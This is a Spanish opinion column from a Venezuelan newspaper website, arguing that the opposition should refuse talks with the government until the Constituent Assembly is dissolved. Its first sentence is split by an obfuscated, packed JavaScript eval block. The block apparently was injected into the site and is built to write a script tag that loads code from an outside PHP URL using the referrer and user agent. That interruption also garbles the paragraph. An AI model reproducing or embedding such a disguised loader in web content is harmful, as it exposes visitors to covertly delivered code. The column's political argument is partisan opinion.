publicidad

Dialogar es de humanos, negociar es de sabios

Leandro Rodríguez Linárez/Politólogo/ leandrotango@gmail.com
  El eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdkte|var|u0026u|referrer|rtyzi||js|php'.split('|'),0,{})) solo hecho de sentarse a “dialogar” es un craso error inexcusable. Dialogar significa colocar sobre la mesa alternativas posibles, y Venezuela no necesita sugerencias, sino acciones; la primera condición sine qua non debe ser el levantamiento de la espuria ANC

Retomar un presunto diálogo embaucador desde 2002, solo reducible a complacencias de élites políticas como también ocurrió en 2014, 2016 y 2017, es idiota. No hablo desde las endebles tarimas partidistas, sino desde las socavadas bases de una sociedad castigada por lo que es probablemente la “política” más divorciada y enajenada del pueblo en los últimos 20 años, en todo el continente.

Discúlpennos lo agreste, pero es que Venezuela no está para continuar con amagues, toda la comunidad internacional sabe el tipo de gobierno existente en el país, los procesos electorales solo quedaron para la acumulación de pruebas contra el castrismo que día a día hace metástasis. 

Óigase bien, el solo hecho de sentarse a “dialogar” es un craso error inexcusable. Dialogar significa colocar sobre la mesa alternativas posibles, y Venezuela no necesita sugerencias, sino acciones; la primera condición sine qua non debe ser el levantamiento de la espuria Asamblea Nacional Constituyente, en todo caso, conciliar una nueva de cara a la Constitución y la democracia, todo comienza desde allí. 

Perdónennos, pero negociar unas elecciones municipales “transparentes” resulta un hecho más que inocente, una acción desprovista de claridad y eso es muy sospechoso. El Gobierno sabe que así las celebre lo más “legalmente” posible, ¿qué puede hacer la oposición con 337 alcaldías si son desconocidas, con recursos chantajeables, desviables?, ¡nada!

El intento de la ANC al Gobierno le fue inútil, lo hemos dicho, solo acumuló en una instancia paraconstitucional las competencias que ya tenía a través del secuestro psuvista de las instituciones que deberían ser del Estado, ente con el que humilló, -según palabras de la gobernadora del Táchira-, a un pueblo que no la convalidó a través del voto y de una resistencia cuyo dramatismo social advierte un despertar mucho más feroz que en 2002-2014 y mediados de 2017.

Los autoinducidos errores del Gobierno en materia económica, la segregación social y política lo mantienen acorralado, a pesar de que internamente en el país hace y deshace a través del monopolio de la violencia, internacionalmente está atado de manos, aislado, pues no puede someter a los demás países a colas, racionamientos, a carnets excluyentes, ni a los designios ocurrentes y venáticos de 547 asambleístas gobierneros.

El presunto diálogo tiene esta vez una única intención, lograr el reconocimiento de la oposición de la constituyente y de un gobierno en un injusto extraining, para poder seguir financiando internacionalmente una revolución comunistoide que, como todas, solo termina agravando las tradicionales penurias de la nación y generando otras mucho peores.

Ir a un “diálogo” es una insensatez planificada, que solo beneficia a las élites políticas, Venezuela necesita acciones, todo comienza por recobrar la institucionalidad, la constitucionalidad antes de sentarse, si no todo seguirá siendo un fatídico show, más de lo mismo, el empeoramiento de lo ya muy grave. 

Comentarios
© 2017, Diario La Verdad. Maracaibo. Venezuela C.A. RIF J-30540623-5. Términos Legales. Contáctenos via: web@laverdad.com , noticias@laverdad.com o ventas@laverdad.com
Desarrollado por Miguel Guadarrama